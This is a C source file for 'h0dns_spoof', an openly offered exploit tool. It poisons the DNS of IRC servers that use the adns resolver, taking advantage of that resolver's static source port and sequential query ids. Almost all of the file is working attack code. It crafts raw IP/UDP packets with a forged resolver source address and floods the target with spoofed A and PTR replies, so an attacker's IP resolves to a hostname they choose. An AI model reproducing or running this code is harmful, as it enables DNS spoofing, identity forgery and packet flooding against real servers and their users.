/* h0dns_spoof.c - zmda - saik0pod@yahoo.com
* - spoof dns on ircd's using the h0dns code
*
* - spoof dns on anything using the adns (asynchronous dns resolver) code
*
* - The bug:
* - Static source port used by the adns code
* - Sequential DNS ids in request packets
*
* - Initiate sequence to trigger a dns lookup by the adns resolver. Send
* the same range of spoofed DNS ids in a constant flood spoofed as the
* primary DNS server for the host. Even a local DNS request will take
* long enough to allow some amount of the spoofed DNS responses through
* before the primary DNS responds. Since the resolver does not cache
* results, the dns lookups can be triggered until the DNS id is
* incremented within the DNS id range being spoofed.
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#ifndef u8
#define u8 unsigned char
#endif
#ifndef u16
#define u16 unsigned short
#endif
#ifndef u32
#define u32 unsigned long
#endif
struct dns_header {
u16 id;
u16 flags;
u16 questions;
u16 answer_rr;
u16 auth_rr;
u16 extra_rr;
} __attribute__((packed));
struct dns_data {
u16 name;
u16 type;
u16 class;
u16 ttlh;
u16 ttl;
u16 data_len; /* data len - sizeof(char *) */
char *data;
/* data */
} __attribute__((packed));
struct dns_packet {
size_t len;
u8 type;
char *data;
/* packet data */
};
struct dns_query {
size_t len;
char *data;
};
struct ip_header {
u8 ihl:4,
version:4;
u8 tos;
u16 tot_len;
u16 id;
u16 frag_off;
u8 ttl;
u8 protocol;
u16 check;
u32 saddr;
u32 daddr;
};
struct udp_header {
u16 source;
u16 dest;
u16 len;
u16 check;
};
#define DNS_A 0x0001
#define DNS_PTR 0x000c
struct udp_packet {
struct ip_header iph;
struct udp_header udph;
};
void usage() {
fprintf(stderr, "usage: ./h0dns_spoof <ircd ip> <ircd dns port> <ircd dns ip> "
"<your ip> <spoof host> <dns id>\n");
exit(-1);
}
void fatal(char *reason) {
fprintf(stderr, "fatal: %s\n", reason);
exit(-1);
}
unsigned short csum(unsigned short *addr, int len) {
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer); /* return the checksum value. */
}
struct udp_packet *alloc_packet(size_t datalen) {
struct udp_packet *packet;
struct ip_header *iph;
struct udp_header *udph;
if(!(packet = calloc(1, sizeof(struct udp_packet) + datalen)))
fatal("error: allocating udp packet");
iph = &packet->iph;
udph = &packet->udph;
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct udp_packet) + datalen;
iph->id = htonl(0xbeef);
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = 17;
udph->len = htons(sizeof(struct udp_header) + datalen);
return(packet);
}
void init_packet(long source, int sport, long dest, int port,
struct udp_packet *udp_packet,
struct dns_packet *dns_packet) {
struct ip_header *iph;
struct udp_header *udph;
char *data;
iph = &udp_packet->iph;
udph = &udp_packet->udph;
iph->saddr = source;
iph->daddr = dest;
iph->check = csum((unsigned short *)iph, sizeof(struct ip_header));
udph->check = 0;
udph->source = htons(sport);
udph->dest = htons(port);
data = (char *)udp_packet + sizeof(struct udp_packet);
memcpy(data, &dns_packet->data, dns_packet->len);
}
char *dns_string_format(char *out, char *in) {
int i, x;
for(i = strlen(in) - 1, x = 0; i > -1; i--, x++) {
if(in[i] == '.') {
out[i] = x;
x = -1;
} else
out[i] = in[i];
}
out[i] = x;
return(out);
}
struct dns_packet *alloc_dns_packet(char *query_data, size_t qlen,
char *answer_data, int type) {
struct dns_packet *dns_packet;
struct dns_header *dns_header;
struct dns_data *dns_data;
char *query,
*answer;
size_t totlen,
alen;
if(type == DNS_A)
alen = 4;
else
alen = strlen(answer_data);
totlen = sizeof(struct dns_header) +
qlen +
sizeof(struct dns_data) - sizeof(char *) + alen +
((type == DNS_A) ? 0 : 2);
if((dns_packet = calloc(1, totlen + sizeof(size_t) + 1 +
sizeof(char *))) == NULL)
fatal("failed alloc");
dns_packet->len = totlen;
dns_header = (struct dns_header *) &dns_packet->data;
query = (char *) &dns_packet->data +
sizeof(struct dns_header);
dns_data = (struct dns_data *) (query + qlen);
answer = (char *) &dns_data->data +
((type == DNS_A) ? 0 : 1);
dns_header->flags = htons(0x8180);
dns_header->questions = htons(1);
dns_header->answer_rr = htons(1);
dns_header->auth_rr = htons(0);
dns_header->extra_rr = htons(0);
memcpy(query, query_data, qlen);
dns_data->name = htons(0xc00c);
dns_data->type = htons(type);
dns_data->class = htons(1);
dns_data->ttl = htons(300);
dns_data->data_len = htons(alen + ((type == DNS_A) ? 0 : 1));
if(type == DNS_A)
memcpy(answer, &answer_data, 4);
else
dns_string_format(answer, answer_data);
return(dns_packet);
}
struct dns_query *alloc_dns_query(char *query, int qtype) {
struct dns_query *dns_query;
size_t qlen;
int i, x = 0;
char *p;
char *data;
u16 *type,
*class;
qlen = 1 + strlen(query) + 1 + 2 + 2;
if((dns_query = (struct dns_query *)calloc(1, sizeof(size_t) + qlen)) == NULL)
fatal("fatal alloc\n");
dns_query->len = qlen;
data = (char *) &dns_query->data + 1;
type = (u16 *) (data + strlen(query) + 1);
class = (u16 *) type + 1;
dns_string_format(data, query);
*type = htons(qtype);
*class = htons(1);
return(dns_query);
};
int send_packet(struct in_addr src, u16 sport,
struct in_addr dst, u16 dport,
struct udp_packet *udp_packet,
struct dns_packet *dns_packet, u32 dns_id) {
struct sockaddr_in sin;
struct dns_header *dns_header;
int s, olen;
unsigned char *p;
int i;
dns_header = (struct dns_header *) &dns_packet->data;
dns_header->id = htons(dns_id);
init_packet(src.s_addr, sport, dst.s_addr, dport, udp_packet, dns_packet);
sin.sin_family = AF_INET;
sin.sin_addr = dst;
sin.sin_port = htons(sport);
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) < 0) {
fprintf(stderr, "%s: ERROR send_packet() -> socket()\n", inet_ntoa(dst));
return(s);
}
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &olen, sizeof(olen)) < 0)
fprintf(stderr, "ERROR: could not set socket option IP_HDRINCL.\n");
while(sendto(s, udp_packet, sizeof(struct udp_packet) + dns_packet->len, 0,
(struct sockaddr *)&sin, sizeof(sin)) < 0) {
if(errno == ENOBUFS)
usleep(50);
else {
fprintf(stderr, "%s: send_packet() -> sendto() [%d]\n", inet_ntoa(dst), errno);
close(s);
return(-1);
}
}
close(s);
}
void do_spoof(struct in_addr src, u16 sport,
struct in_addr dst, u16 dport,
struct in_addr me, char *answer, u16 dns_id) {
struct udp_packet *udp_packet_A,
*udp_packet_PTR;
struct dns_packet *dns_packet_A,
*dns_packet_PTR;
struct dns_query *dns_query_A,
*dns_query_PTR;
char query[255];
int i;
printf("dns_id = %d\n", dns_id);
snprintf(query, sizeof(query) - 1,
"%d.%d.%d.%d.in-addr.arpa",
(me.s_addr >> 24),
(me.s_addr >> 16) & 0xff,
(me.s_addr >> 8) & 0xff,
(me.s_addr ) & 0xff);
dns_query_A = alloc_dns_query(answer, DNS_A);
dns_packet_A = alloc_dns_packet((char *)&dns_query_A->data,
dns_query_A->len,
(char *)me.s_addr, DNS_A);
udp_packet_A = alloc_packet(dns_packet_A->len);
dns_query_PTR = alloc_dns_query(query, DNS_PTR);
dns_packet_PTR = alloc_dns_packet((char *)&dns_query_PTR->data,
dns_query_PTR->len, answer, DNS_PTR);
udp_packet_PTR = alloc_packet(dns_packet_PTR->len);
/* weee flood time */
for(i = 0; ; i++) {
send_packet(src, sport, dst, dport, udp_packet_A, dns_packet_A, dns_id + i);
send_packet(src, sport, dst, dport, udp_packet_PTR, dns_packet_PTR, dns_id + i);
usleep(50);
if(i > 3)
i = 0;
}
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int main(int argc, char *argv[]) {
int i, dns_port, dns_id;
struct in_addr ircd,
ircd_ns,
me;
char *spoof_host;
printf("###### h0dns_spoof1.c - zmda - saik0pod@yahoo.com ######\n");
if(argc < 6)
usage();
if((ircd.s_addr = resolve(argv[1])) == -1)
fatal("ircd host invalid");
dns_port = atoi(argv[2]);
if((ircd_ns.s_addr = resolve(argv[3])) == -1)
fatal("ircd dns host invalid");
if((me.s_addr = resolve(argv[4])) == -1)
fatal("my host invalid");
spoof_host = argv[5];
dns_id = atoi(argv[6]);
do_spoof(ircd_ns, 53, ircd, dns_port, me, spoof_host, dns_id);
}
暂无评论